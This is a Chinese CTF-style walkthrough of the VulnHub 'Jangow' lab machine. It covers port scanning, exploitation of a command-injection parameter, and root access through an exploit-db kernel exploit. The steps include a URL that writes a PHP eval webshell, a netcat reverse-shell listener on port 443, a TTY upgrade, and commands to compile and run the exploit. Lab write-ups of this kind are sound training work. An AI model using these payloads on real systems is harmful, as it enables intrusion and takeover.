打靶笔记-04-vulnhub-Jangow
打靶笔记-04-vulnhub-Jangow
前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍。
一、靶机信息
Name: Jangow: 1.0.1 (Easy)
Date release: 4 Nov 2021
Author: Jangow
Series: Jangow
二、启动靶机
2.1 校验靶机

2.2 导入Vbox,配置网络
因为攻击机器都在vmware上,所以还是将靶机网络桥接到vmnet8网卡上。

2.3 打快照,启动靶机
没啥好说的,以防万一,打个快照启动

可以直接看到ip地址,不过按照实际中的话时看不到这个界面的。
三、开始打靶
3.1 信息搜集
3.1.1 主机发现
ifconfig
sudo arp-scan -I eth0 -l

获得靶机IP 172.16.95.140
3.1.2 端口发现
sudo nmap -p- 172.16.95.140

只开放22和80端口
3.1.3 进一步确认端口背后服务以及具体版本号
sudo nmap -sV -p22,80 172.16.95.140

可以看到22端口是filtered的状态,也就是22端口被防火墙过滤了,80端口对应的是Apache httpd 2.4.18
3.1.4 使用nmap默认脚本扫描
sudo nmap -sC -p22,80 172.16.95.140

貌似没有啥发现,80端口也挂载的是普通页面,先看看去
3.2 开始渗透
3.2.1 访问80端口

是个目录,继续点,发现是个网页,然后里面有一个目录链接site,继续点

最后发现个链接指向一个busque.php文件,并且拥有参数buscar可以接收值,但不知道干啥用的,最后经过fuzz测试,确定为命令执行

3.2.2 信息收集
既然是命令执行,那就可以直接来一波简单的信息收集
id
pwd
ls
ls ./wordpress
cat ./wordpress






在进行常规信息搜集后,发现有一个wordpress的目录,并且还获取到了数据库账
不过以上好像没啥用,数据库也无法访问,也没有更多有用的目录。
3.2.3 写入小马
因为命令执行,所以尝试了各种姿势反弹shell,可能是水平不够,wget也无法下载到远程服务器上的马儿,所以就开始尝试写入小马
http://172.16.95.140/site/busque.php?buscar=echo%20%27%3C?php%20@eval($_POST[%27ant%27]);?%3E%27%20%3E1.php


成功写入,上蚁剑,连接成功

继续收集信息,获得用户jangow01家目录下有个user.txt,内容似乎是md5加密的,可以顺手破解一下,不过好像是空的,没有任何内容,奇怪

翻了翻其他目录在html目录下发现.backup文件,里面是用户jangow01的mysql账户密码

然后尝试上传反弹shell的php文件也无法反弹成功
3.2.4 反弹shell
蚁剑虽然连接成功了,但是shell最终还是个webshell,可干的事儿有限,所以还是的反弹shell提权
经历过刚刚命令执行反弹shell失败,然后尝试上传反弹shell的php文件也失败了,联想刚开始端口扫描时22端口被过滤的情况,应该是目标机器防火墙搞得鬼。
不过好在目标机器nc可以使用,不过最终也没有反弹成功,因为它无法带-e参数。
=-=
打到这儿自己就没思路了,最后查看了别人的攻略,这儿的关键点在于目标机器防火墙对进出的端口进行了限制,最后尝试了443端口可以成功利用
nc -lvnp 443


3.2.5 升级shell为tty
which python python2 python3 py py2 py3
python -c 'import pty;pty.spawn("/bin/bash")';
export TERM=xterm-256color
stty raw -echo;fg

3.2.6 寻找漏洞提权
升级shell之后,就可以sudo和su了,结合之前发现的两个mysql账户名密码,尝试了以下切换用户,结果mysql的账户密码和系统的账户密码一致。

然后尝试sudo的时候失败了,好像不是英文,不过看到了个sudoer,猜测应该是提示这个用户不再sudoer文件中,也就是没有sudo的权限。
那就看看有没有其他漏洞可以利用吧
uname -r
uname -a
lsb_release -a

ubuntu的版本为16.04.1 LTS
searchsploit Linux Kernel 4.4.

这个搜索到的有很多看着比较符合,不过这个有点意思的是有个在windows的分类下,有点奇怪,先拿它看看
sudo cp /usr/share/exploitdb/exploits/windows_x86-64/local/47170.c /var/www/html/test.c

然后在目标机器上下载test.c,结果都无法搞定,应该是对方防火墙导致的。
=-=,一会儿提权成功一定要看下它的防火墙策略,最后通过蚁剑传了过去,不过gcc编译失败了

继续换linux/local/45010.c
sudo cp /usr/share/exploitdb/exploits/linux/local/45010.c ./

然后还是通过蚁剑上传编译执行,最后成功拿到root权限
ls
gcc -o exp 45010.c
chmod +x exp
./exp
id

3.2.7 查看防火墙
bash
sudo ufw status
果然,=-=,禁止访问任何端口,除了443

关闭防火墙,可以成功访问,真变态

四、总结
这个靶机难点就是能够找到唯一可利用的443端口进行反弹shell,没有这个端口,有再多的反弹姿势,防火墙拦截的死死的,除非能用webshell进行本地提权,这个不现实,至少对我来说是的,能力不够
然后看到别人有批量提权的脚本,先记录下,随后的靶机中尝试以下
linux 提权辅助脚本

敖~,果然特么神器=-=
原谅我这个菜鸡现在才找到这些神器,应该在自己犯懒的时候先找下有没有懒人神器,没有的话自己总结搞一个,加油~~~
打靶笔记-04-vulnhub-Jangow的更多相关文章
- 打靶笔记-01-vulnhub-moneybox
打靶笔记-01-vulnhub-moneybox 本篇笔记根据苑老师视频进行学习记录 https://www.bilibili.com/video/BV1Lv411n7Lq/?spm_id_from= ...
- JS自学笔记04
JS自学笔记04 arguments[索引] 实参的值 1.对象 1)创建对象 ①调用系统的构造函数创建对象 var obj=new Object(); //添加属性.对象.名字=值; obj.nam ...
- JAVA自学笔记04
JAVA自学笔记04 1.switch语句 1)格式:switch(表达式){ case 值1: 语句体1; break; case 值2: 语句体2; break; - default: 语句体n+ ...
- 机器学习实战(Machine Learning in Action)学习笔记————04.朴素贝叶斯分类(bayes)
机器学习实战(Machine Learning in Action)学习笔记————04.朴素贝叶斯分类(bayes) 关键字:朴素贝叶斯.python.源码解析作者:米仓山下时间:2018-10-2 ...
- CS229 笔记04
CS229 笔记04 Logistic Regression Newton's Method 根据之前的讨论,在Logistic Regression中的一些符号有: \[ \begin{eqnarr ...
- SaToken学习笔记-04
SaToken学习笔记-04 如果有问题,请点击:传送门 角色认证 在sa-token中,角色和权限可以独立验证 // 当前账号是否含有指定角色标识, 返回true或false StpUtil.has ...
- Redis:学习笔记-04
Redis:学习笔记-04 该部分内容,参考了 bilibili 上讲解 Redis 中,观看数最多的课程 Redis最新超详细版教程通俗易懂,来自 UP主 遇见狂神说 10. Redis主从复制 1 ...
- Java:并发笔记-04
Java:并发笔记-04 说明:这是看了 bilibili 上 黑马程序员 的课程 java并发编程 后做的笔记 本章内容-3 线程状态转换 活跃性 Lock 3.10 重新理解线程状态转换 假设有线 ...
- 打靶笔记-03-vulhub-Moriarty Corp
打靶笔记-03-vulhub-BoredHackerBlog 一.靶机信息 Name: BoredHackerBlog: Moriarty Corp(中-高级难度) Date release: 29 ...
随机推荐
- Nodejs path对象
很快Node就会迎来4.0的时代,届时将并入现有的iojs,所以先前写过的iojs入门系列直接更名为NodeJS入门. 本篇开始将逐个介绍Node的各主要模块,依循API文档走一遍,但会给出比API文 ...
- iOS时间处理之时间对比 by Nicky.Tsui
通过项目需求, 服务器返回了一个 order_canceled_time 订单自动取消时间 如果我要跟当前时间做一个对比,然后生成出一个倒计时的时间 那么首先我们要知道 order_cancel ...
- 【BZOJ2820】YY的GCD(莫比乌斯反演 数论分块)
题目链接 大意 给定多组\(N\),\(M\),求\(1\le x\le N,1\le y\le M\)并且\(Gcd(x, y)\)为质数的\((x, y)\)有多少对. 思路 我们设\(f(i)\ ...
- python基础语法_3面向对象
http://www.runoob.com/python3/python3-class.html https://www.imooc.com/learn/317 慕课网:987809563@qq.co ...
- Spring5源码解析系列一——IoC容器核心类图
基本概念梳理 IoC(Inversion of Control,控制反转)就是把原来代码里需要实现的对象创建.依赖,反转给容器来帮忙实现.我们需要创建一个容器,同时需要一种描述来让容器知道要创建的对象 ...
- 字符集编码(上):Unicode 之前
计算机起初是设计用来做数学计算的,Computer 一词英文原意是"计算员"--在计算机发明之前,计算员是一个独立的职业,专门做各种数学用表的计算,如测量和天文领域的三角函数表.对 ...
- 【ybtoj】二分算法例题
[基础算法]第三章 二分算法 例一 数列分段 题目描述 对于给定的一个长度为N的正整数数列A,现在将其分成M段,并要求每段连续,且每段和的最大值最小. 输入格式 第1行包含两个正整数N,M. 第2行包 ...
- CVE-2021-33739 EOP漏洞分析
背景 CVE-2021-33739是一个UAF漏洞,成因是由于在对象CInteractionTrackerBindingManagerMarshaler与对象CInteractionTracker ...
- 使用SetTrustedCredmanAccessPrivilege获取已保存的凭据
windows系统中有一个名为SeTrustedCredmanAccessPrivilege的权限,使拥有该特权的进程可作为受信任的调用者访问凭据管理器. 凭据管理器可以从控制面板 -> ...
- Linux系统安装tomcat9服务(含jdk的安装)
使用虚拟机上CentOS8系统. 1.安装tomcat的依赖jdk版本11 将jdk11解压至相应目录: 设置环境变量: 末尾添加: 更新配置文件: 验证: 补充使用yum安装jdk的方式: 1)查看 ...